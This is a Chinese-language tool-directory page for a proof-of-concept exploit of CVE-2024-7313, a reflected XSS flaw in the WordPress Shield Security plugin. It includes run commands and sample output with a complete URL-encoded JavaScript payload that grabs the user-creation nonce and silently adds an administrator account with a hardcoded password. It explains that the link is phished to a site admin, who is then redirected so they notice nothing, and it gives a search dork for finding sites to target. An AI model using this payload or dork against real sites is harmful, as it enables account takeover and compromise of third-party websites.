Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-7313 — 定制概念验证:通过 WordPress 插件 Shield Security < 20.0.6 中的 XSS 实现未授权管理员账户创建 | Kitploit
工具/GitHubGitHub/wayne-ker/cve-2024-7313
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubwayne-ker/cve-2024-7313

CVE-2024-7313

定制概念验证:通过 WordPress 插件 Shield Security < 20.0.6 中的 XSS 实现未授权管理员账户创建

查看仓库
312年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Shield Security 插件漏洞利用 (CVE-2024-7313)

Kali Linux Works on My Machine Sleep Deprivation

概述

该仓库包含一个 Python PoC 脚本,用于利用 WordPress Shield Security 插件(20.0.6 以下版本)中的反射型 XSS 漏洞。该漏洞(CVE-2024-7313)允许攻击者创建一个针对目标的恶意链接,当管理员点击该链接时,漏洞会通过 XSS 创建一个未授权的管理员账户。该脚本自动检测易受攻击的安装环境,并生成用于利用漏洞的有效载荷。

漏洞信息

  • CVE:CVE-2024-7313
  • 插件:Shield Security < 20.0.6
  • 严重性:高
  • 受影响系统:使用 Shield Security 插件版本 < 20.0.6 的 WordPress 网站
  • 攻击类型:反射型跨站脚本(XSS)
  • 发布日期:2024 年 8 月 7 日
  • OWASP TOP-10:A7:跨站脚本(XSS)

使用方法

前提条件

  • Python 3.x
  • requests 和 beautifulsoup4 库

使用以下命令安装所需库:

root@kitploit:~
pip install requests beautifulsoup4

运行脚本

  1. 克隆仓库:
root@kitploit:~
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
  1. 使用目标 URL 运行脚本:
root@kitploit:~
python3 exploit.py <target_url>

示例:

root@kitploit:~
python3 exploit.py http://127.0.0.1

输入新管理员用户的必要信息(用户名、邮箱、名字、姓氏)后,脚本将生成一个有效载荷 URL。您可以将此 URL 粘贴到浏览器中以执行反射型 XSS 攻击,从而在 WordPress 站点中创建一个新的管理员用户。

  1. 示例输出:
root@kitploit:~
#############################################################################
#                                                                           #
#                                                                           #
#   ______     _______     ____   ___ ____  _  _       _____ _____ _ _____  #
#  / ___\ \   / | ____|   |___ \ / _ |___ \| || |     |___  |___ // |___ /  #
# | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ / /  |_ \| | |_ \  #
# | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ /  ___) | |___) | #
#  \____|  \_/  |_____|   |_____|\___|_____|  |_|      /_/  |____/|_|____/  #
#                                                                           #
#    Shield Security Plugin Vulnerability (CVE-2024-7313)                   #
#    Reflected XSS in WordPress Shield Security Plugin                      #
#    Versions Affected: < 20.0.6                                            #
#    Risk: High                                                             #
#    Developed by: Wayne-Kerr                                              #
#    Published: August 7, 2024                                              #
############################################################################# 
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test

Using hardcoded password: HaxorStrongAFPassword123!!

Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E

一旦访问生成的有效载荷 URL,漏洞将被执行,目标 WordPress 站点上将创建一个新的管理员用户。

帮助菜单

您可以通过运行以下命令访问帮助菜单:

root@kitploit:~
python3 exploit.py -h

查找易受攻击站点的 Dork

要识别使用该漏洞插件的网站,您可以使用以下 dork:

root@kitploit:~
inurl:"/wp-content/plugins/wp-simple-firewall/"

这将帮助您找到安装了 Shield Security 插件的网站。请注意,版本号在公开场合不可见,因此可能需要进行手动测试。

工作原理

  • 脚本首先通过检查 wp-login.php 页面的响应,判断目标 WordPress 安装是否使用了易受攻击的 Shield Security 插件版本。
  • 如果插件版本存在漏洞,则继续生成一个反射型 XSS 有效载荷,该有效载荷执行后将使用硬编码密码创建一个新的管理员用户。
  • 有效载荷首先通过 GET 请求动态查找用于创建账户的 WordPress nonce,然后使用该 nonce 向用户创建端点提交 POST 请求,其中包含脚本中提供的用户详细信息。
  • 有效载荷随后进行 URL 编码并显示,用于攻击。
  • 当有效载荷被发送给站点管理员并点击链接后,站点上将会创建一个新的管理员用户,其信息由脚本解析。所有这些都在后台完成,被钓鱼的管理员会被重定向到 Shield Security 仪表板,对后台发生的漏洞利用毫无察觉。

免责声明

此工具仅用于教育目的,并且只能在授权的渗透测试环境中使用。未经授权访问或使用不属于您的系统是违法的。作者不对本工具的任何滥用行为负责。

许可协议

本项目采用 MIT 许可证。

下载工具